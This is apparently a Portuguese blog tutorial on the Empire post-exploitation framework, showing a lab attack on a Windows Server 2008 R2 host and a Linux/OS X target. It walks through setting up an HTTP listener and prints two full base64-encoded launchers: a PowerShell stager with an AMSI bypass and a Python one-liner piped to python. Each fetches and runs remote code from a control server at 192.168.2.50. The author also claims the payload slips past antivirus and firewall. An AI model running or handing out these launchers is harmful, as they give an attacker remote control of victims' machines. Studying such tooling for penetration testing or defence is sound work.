Testing EMPIRE: framework desenvolvida em python de nome Empire

Neste artigo vamos abordar uma framework desenvolvida em python de nome Empire, que se carateriza como um agente de pós-exploração de puro PowerShell, construído em comunicações criptologicamente seguras e uma arquitetura flexível, o Empire implementa a capacidade de executar agentes de PowerShell sem a necessidade de powershell.exe, constituído por módulos de pós-exploração rapidamente implantáveis, desde loggers de chave até Mimikatz, e comunicações adaptáveis ​​para se evadir à detecção de rede, tudo envolvido em uma estrutura com facilidade de usabilidade.

Este artigo estĂĄ dividido da seguinte forma:
  • Introdução Empire
  • Iniciando o Ataque
  1. Fase Listeners
  2. Fase Stagers
  3. Fase Agents
  • Soluçþes de Defesa
  • ConclusĂŁo
  • ReferĂŞncias

Introdução

O Empire Ê uma estrutura de pós-exploração que inclui um agente puro do PowerShell 2.0 Windows e agentes Python 2.6 / 2.7 para Linux / OS X.
Isto dĂĄ-se pela fusĂŁo dos anteriores projetos PowerShell Empire e Python EmPyre. O PowerShell Empire estreou em BSidesLV em 2015 e Python EmPyre prĂŠ-fabricado no HackMiami 2016.

Iniciando o ataque

Para dar inicio ao ataque contra sistemas operativos Windows, utilizamos o Kali Linux, carregado com a framework em um ambiente controlado de laboratório para a execução deste exemplo pråtica, a reprodução deste laboratório fica por conta de cada um, sendo de sua inteira responsabilidade as açþes que praticar.
Não Ê intenção deste artigo explicar o passo-a-passo da configuração do Empire, no entanto vårios documentos de boa qualidade existem na internet explicando com detalhe as configuraçþes båsicas de setup inicial, a documentação oficial tambÊm Ê um bom começo para quem ainda não teve a oportunidade de ter contato com a ferramenta.
Depois de instalado e configurado deve proceder para os prĂłximos passos, descritos em baixo.
Para iniciar a ferramenta deve digitar o seguinte comando:
root@kali:~/Programas/Empire# ./empire
Fase Listeners
Depois de a ferramenta carregar após alguns segundos, a primeira coisa que você precisa fazer Ê configurar um listener, que neste contexto representa uma måquina que fica a ouvir localmente pelo retorno de ligaçþes.
O comando dos listeners irå fazer você pular para o menu de gerenciamento do ouvinte. Todos os ouvintes ativos serão exibidos, e essa informação pode ser exibida novamente a qualquer momento com o comando da list.
O comando de informação exibirå as opçþes de ouvinte atualmente definidas.
Empire) > listeners
[!] No listeners currently active
(Empire: listeners) > info
[!] Invalid listener name
Se o comando info retorna um aviso, ĂŠ porque o listener ainda nĂŁo foi configurado, como se pode observar pela figura em baixo.
De suma importância referenciar neste ponto, antes de prosseguir que o Empire segundo os seus developers (@harmj0y, @sixdub, @enigma0x3) passou por grandes alteraçþes desde o seu lançamento no BSidesLV (Las Vegas) em 2015, então a versão que estamos atualmente a usar em 2017 Ê a versão 2.0, o que muda ligeiramente o contexto dos comandos, mas segue o mesmo padrão de procedimentos.
“recently made some of the biggest changes to Empire since its release at BSidesLV in 2015. “
Contudo a base do código mudou e algumas das mudanças importantes são descriminadas a seguir em inglês, no entanto a lista não Ê exaustiva, para um maior detalhe deve procurar o site dos desenvolvedores, em baixo nas referências do artigo.

Misc. Changes

First, a grab-bag of mods vs. 1.6:
  • For the PowerShell launcher/stager:
    • RC4 was implemented for first stage obfuscation instead of XOR
    • @mattifestation‘s AMSI bypass implemented in the stage0 launcher
    • staging now uses HMAC/nonces
  • For OS X/Python, lots of new stagers! @xorrior will have a more detailed post on these in the coming weeks:
  • Epoch-syncing was removed- we know this introduces a possibility of packet replay, but too many users had too many issues with the epoch-syncing approach.
  • Vastly increased debugging output. Use ––debug to output debug information to output to empire.debug, and ––debug 2 to display the same information to the screen.
  • If agents are ‘orphaned’ they will restage to the control server.
  • HTTP listener redone with Flask.
  • Improved Kerberoasting module with credentials/get_spn_tickets.
  • BloodHound module (situational_awareness/network/bloodhound) will execute collection and output to CSVs.
  • We implemented @enigma0x3’s fancy new eventvwr UAC bypass
     
    that doesn’t drop a DLL to disk. The module is privesc/bypassuac_eventvwr and has been set as the alias for “bypassuac <LISTENER>” in the agent menu.
  • Lots of code rot removed, several files got some fresh paint.

Feita a ressalva, vamos agora configurar um ouvinte, digitado o seguinte comando:
(Empire: listeners) > uselistener
Pode observar que tem algumas opçþes disponíveis como:
dbx http http_com http_foreign http_hop meterpreter
No caso vamos selecionar o http_com, com o seguinte comando e ver as opçþes disponíveis:
(Empire: listeners) > uselistener http_com
(Empire: listeners/http_com) > info
Com as configuraçþes padrão, pode de seguida digitar o seguinte comando:
(Empire: listeners/http_com) > execute
Caso a porta default TCP 80 do protocolo HTTP esteja em uso, como se pode observar na figura em baixo ĂŠ necessĂĄrio trocar por uma que esteja disponĂ­vel.
Neste momento pode configurar a porta com o comando:
set Port <porta_disponĂ­vel>
E como pode observar a porta foi redefinida para TCP 8080.
Agora pode executar a escuta com o seguinte comando:
(Empire: listeners/http_com) > execute
A qualquer momento durante a configuração pode digitar o comando help para observar os comandos disponíveis na interface. No caso utilizamos o seguinte comando para verificar as escutas ativas.
(Empire: listeners/http_com) > listeners
Uma vez que nĂŁo vamos utilizar o primeiro Listener pode remover com o comando:
(Empire: listeners) > kill http_com
Fase Stagers
PrĂłximo passo ĂŠ configurar no menu de Listeners um alias do launcher [identificador / nome] para um ouvinte especĂ­fico que foi carregado anteriormente (este ĂŠ o mĂłdulo stagers / launcher que funciona em segundo plano).
Este comando pode ser executado a partir de um prompt de comando em qualquer mĂĄquina Windows alvo para iniciar o processo.
O comando a ser executado ĂŠ:
(Empire: listeners/http_com) > launcher powershell
Repare que se o comando for digitado dentro do menu dos listeners vai retornar um erro, ĂŠ necessĂĄrio entrar dentro do [identificador / nome] para funcionar corretamente, como jĂĄ foi descriminado anteriormente.
De seguida pode copiar todo cĂłdigo gerado e executar na mĂĄquina alvo, lembrando que esta ĂŠ uma ferramenta de PĂłs-ataque, entĂŁo tem que ter acesso ao nĂ­vel de administrador para executar o ataque com sucesso, outras tĂŠcnicas serĂŁo devidamente detalhadas futuramente.
powershell -noP -sta -w 1 -enc WwBSAGUARgBdAC4AQQBTAHMAZQBtAGIAbABZAC4ARwBlAFQAVABZAHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAGUAVABGAGkAZQBMAGQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQBUAFYAYQBMAHUARQAoACQATgB1AEwATAAsACQAVABSAHUAZQApAH0AOwBbAFMAWQBTAHQARQBtAC4ATgBlAHQALgBTAGUAcgBWAGkAQwBFAFAATwBpAE4AVABNAGEAbgBBAGcAZQByAF0AOgA6AEUAeABQAEUAQwBUADEAMAAwAEMATwBOAHQAaQBuAFUAZQA9ADAAOwAkAEsAPQBbAFMAWQBTAFQAZQBtAC4AVABlAFgAdAAuAEUATgBDAE8AZABpAE4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAVABCAFkAVABlAFMAKAAnAH0AZgB2AEAAKAAwAC8AQwAmAHMAfABoAFUARABXADIAawB3AFYAUABMAGEASQByAD0AdAArAC0AbABTACMAewAnACkAOwAkAFIAPQB7ACQARAAsACQASwA9ACQAQQByAGcAUwA7ACQAUwA9ADAALgAuADIANQA1ADsAMAAuAC4AMgA1ADUAfAAlAHsAJABKAD0AKAAkAEoAKwAkAFMAWwAkAF8AXQArACQASwBbACQAXwAlACQASwAuAEMATwBVAE4AVABdACkAJQAyADUANgA7ACQAUwBbACQAXwBdACwAJABTAFsAJABKAF0APQAkAFMAWwAkAEoAXQAsACQAUwBbACQAXwBdAH0AOwAkAEQAfAAlAHsAJABJAD0AKAAkAEkAKwAxACkAJQAyADUANgA7ACQASAA9ACgAJABIACsAJABTAFsAJABJAF0AKQAlADIANQA2ADsAJABTAFsAJABJAF0ALAAkAFMAWwAkAEgAXQA9ACQAUwBbACQASABdACwAJABTAFsAJABJAF0AOwAkAF8ALQBCAFgATwByACQAUwBbACgAJABTAFsAJABJAF0AKwAkAFMAWwAkAEgAXQApACUAMgA1ADYAXQB9AH0AOwAkAGkAZQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMATwBNACAASQBuAHQAZQByAG4AZQB0AEUAeABwAGwAbwByAGUAcgAuAEEAcABwAGwAaQBjAGEAdABpAG8AbgA7ACQAaQBlAC4AUwBpAGwAZQBuAHQAPQAkAFQAcgB1AGUAOwAkAGkAZQAuAHYAaQBzAGkAYgBsAGUAPQAkAEYAYQBsAHMAZQA7ACQAZgBsAD0AMQA0ADsAJABzAGUAcgA9ACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAuADUAMAA6ADgAMAA4ADAAJwA7ACQAdAA9ACcALwBsAG8AZwBpAG4ALwBwAHIAbwBjAGUAcwBzAC4AcABoAHAAJwA7ACQAaQBlAC4AbgBhAHYAaQBnAGEAdABlADIAKAAkAHMAZQByACsAJAB0ACwAJABmAGwALAAwACwAJABOAHUAbABsACwAJwBDAEYALQBSAEEAWQA6ACAAVwBRAGoAVQA3AGoARABRADEAbQBsADgARgB5AHgAZAArAEcARgBEADgARABMAEwATQB5AG8APQAnACkAOwB3AGgAaQBsAGUAKAAkAGkAZQAuAGIAdQBzAHkAKQB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAAxADAAMAB9ADsAJABoAHQAIAA9ACAAJABpAGUALgBkAG8AYwB1AG0AZQBuAHQALgBHAGUAdABUAHkAcABlACgAKQAuAEkAbgB2AG8AawBlAE0AZQBtAGIAZQByACgAJwBiAG8AZAB5ACcALAAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQgBpAG4AZABpAG4AZwBGAGwAYQBnAHMAXQA6ADoARwBlAHQAUAByAG8AcABlAHIAdAB5ACwAIAAkAE4AdQBsAGwALAAgACQAaQBlAC4AZABvAGMAdQBtAGUAbgB0ACwAIAAkAE4AdQBsAGwAKQAuAEkAbgBuAGUAcgBIAHQAbQBsADsAdAByAHkAIAB7ACQAZABhAHQAYQA9AFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGgAdAApAH0AIABjAGEAdABjAGgAIAB7ACQATgB1AGwAbAB9ACQASQB2AD0AJABEAGEAdABBAFsAMAAuAC4AMwBdADsAJABkAEEAVABBAD0AJABEAGEAdABBAFsANAAuAC4AJABEAEEAdABhAC4AbABFAE4ARwBUAEgAXQA7AC0ASgBvAGkATgBbAEMASABBAFIAWwBdAF0AKAAmACAAJABSACAAJABkAGEAdABBACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA=
Repare que este código não Ê reconhecido como um malware, e pode ser transferido para um sistema alvo sem ser tratado como uma potencial ameaça, uma vez que Ê considerado como um comando de powershell.
O alvo escolhido no caso foi um servidor Windows Server 2008 R2 (64 bits), por ser um tipo de servidor vastamente implementado no cenĂĄrio mundial em pequenas e mĂŠdias empresas, porĂŠm o mesmo procedimento poderia ter sido implementado em sistemas Desktop Windows 7, 8 e 8.1 de (32 e 64 bits).
Os sistemas Windows Server 2012 e 2016 nĂŁo foram abordados neste artigo.
Quando este comando foi digitado no Windows automaticamente ficou ativo na memĂłria do sistema operacional e estĂĄ representado pelo PID (Process Identifier) 4220 como se pode observar pela figura seguinte.
Fase Agents
De volta à consola do Kali, podemos perceber que entramos na última fase do Empire, conhecida como Agent Stage, com os seguintes parâmetros:
Identificador / Nome: listeners/http_com
Agente de Identificação: agent 6U25H8YD
IP alvo: 192.168.2.250
Estado: now active
Podemos observar que o payload ficou ativo no momento que foi executado no servidor, sem que o antivírus, anti-malware ou firewall bloquea-se qualquer comunicação, mesmo sendo executado como Administrador, vários outros payloads testados em outros artigos e abordados anteriormente como por exemplo o Shellter podem ser bloqueados após serem deflagrados no sistema operativo, dependendo da técnica usada de “camuflagem”, técnica vulgarmente utilizada por crackers para ofuscar de alguma forma uma determinada mensagem, aplicação ou ficheiro de dados.
No entanto o Shellter Ê capaz de recodificar qualquer aplicativo nativo de Windows 32 bits autônomo. Uma vez que estamos tentando evitar a detecção de Anti-vírus, precisamos evitar qualquer coisa que possa parecer suspeita, criando um payload em aplicaçþes ou aplicativos com mais de uma seção contendo código executåvel, porÊm este assunto estå fora do escopo deste artigo.
Durante o laboratório foram testados vårios agents e podendo-se observar que o ativo utilizado ao longo da demonstração têm o PID 4220 e estå presente em nossa consola do Empire, para tal digitamos o seguinte comando:
(Empire: listeners/http_com) > agents
(Empire: listeners/http_com) > [+] Initial agent 6U25H8YD from 192.168.2.250 now active
Para tornar a leitura mais fĂĄcil e assim identificar mais facilmente um alvo poderĂĄ renomear o nome do Agente com o seguinte comando:
(Empire: agents) > rename 6U25H8YD WS2008R2
Os outros agentes uma vez que não estão mais em execução podem ser facilmente removidos com os comandos:
(Empire: agents) > remove 2GB5PZHU
(Empire: agents) > remove LB1WZ6K9
(Empire: agents) > remove YGSXKR41
Por Ăşltimo para se conectar ao alvo deve digitar o seguinte comando:
(Empire: agents) > interact WS2008R2
De seguida para ver as opçþes que tem sobre a måquina alvo, pode digitar help comando que estå disponível a qualquer momento das três fases.
(Empire: WS2008R2) > help
Importante entender neste ponto que embora o artigo nĂŁo tenha como principal alvo nenhum sistema operativo alĂŠm da Microsoft, o Empire funciona de igual forma para os sistemas operativos Linux e OSX, como exemplo rĂĄpido deixamos os seguintes comandos que cobrem as duas primeiras fases:
(Empire: listeners) > uselistener http
(Empire: listeners/http) > set PORT 8081
(Empire: listeners/http) > execute
(Empire: listeners/http) > launcher python
echo "import sys,base64;exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xOTIuMTY4LjIuNTA6ODA4MSc7dD0nL2xvZ2luL3Byb2Nlc3MucGhwJztyZXE9dXJsbGliMi5SZXF1ZXN0KHNlcnZlcit0KTsKcmVxLmFkZF9oZWFkZXIoJ1VzZXItQWdlbnQnLFVBKTsKcmVxLmFkZF9oZWFkZXIoJ0Nvb2tpZScsInNlc3Npb249OXF4dWRQVW91V0ZWSDBZZmxEd0tBMnI2S1RVPSIpOwppZiB1cmxsaWIyLmdldHByb3hpZXMoKToKICAgbyA9IHVybGxpYjIuYnVpbGRfb3BlbmVyKCk7CiAgIG8uYWRkX2hhbmRsZXIodXJsbGliMi5Qcm94eUhhbmRsZXIodXJsbGliMi5nZXRwcm94aWVzKCkpKQogICB1cmxsaWIyLmluc3RhbGxfb3BlbmVyKG8pOwphPXVybGxpYjIudXJsb3BlbihyZXEpLnJlYWQoKTsKSVY9YVswOjRdO2RhdGE9YVs0Ol07a2V5PUlWKyd9ZnZAKDAvQyZzfGhVRFcya3dWUExhSXI9dCstbFMjeyc7UyxqLG91dD1yYW5nZSgyNTYpLDAsW10KZm9yIGkgaW4gcmFuZ2UoMjU2KToKICAgIGo9KGorU1tpXStvcmQoa2V5W2klbGVuKGtleSldKSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCmk9aj0wCmZvciBjaGFyIGluIGRhdGE6CiAgICBpPShpKzEpJTI1NgogICAgaj0oaitTW2ldKSUyNTYKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KICAgIG91dC5hcHBlbmQoY2hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0pJTI1Nl0pKQpleGVjKCcnLmpvaW4ob3V0KSk='));" | python &
(Empire: listeners/http) > agents
Repare que após executar o código na parte debaixo do shell o agent BIFJL1LF ficou ativo e a consola do empire apresenta agora 2 agentes, o do Windows previamente criado e agora o do Linux / OSX, neste momento concluímos com sucesso a implantação de nosso exploit.

ConclusĂŁo:

Neste artigo abordamos a ferramenta Empire desenvolvida em Python que em 2017 chegou à sua fase mais madura de desenvolvimento, com mais potencialidade e diversidade. Embora o foco do laboratório tenha sido apresentar vulnerabilidades em sistemas da Microsoft, o mesmo serve para o Linux e o MAC, todos os comandos são iguais e o mecanismo de implementação/gestão Ê caraterizado da mesma forma que o apresentado.
A ferramenta apresenta uma solução bastante pråtica de funcionamento que faz lembra o Metasploit outra ferramente de Penetration Testing mas com capacidades de utilização diferentes. O Empire Ê maioritariamente uma ferramente de Pós-ataque não se caracterizando em ferramentas do tipo RPC ( Remote Procedure Call) que Ê uma tecnologia de comunicação entre processos que permite a um programa de computador chamar um procedimento em outro espaço de endereçamento, geralmente outro computador, conectado por uma redes ou infraestrutura.

ReferĂŞncias:

----------------------------------//-----------------------//-------------------------------------
Autor: Carlos Rodrigues
Especialista em Eng. de Telecomunicaçþes e Segurança Computacional
Fundador e mentor do Projeto Open Source LibertyNET
CurtirMostrar mais reaçþes
Comentar

ComentĂĄrios

Ebook

Postagens mais visitadas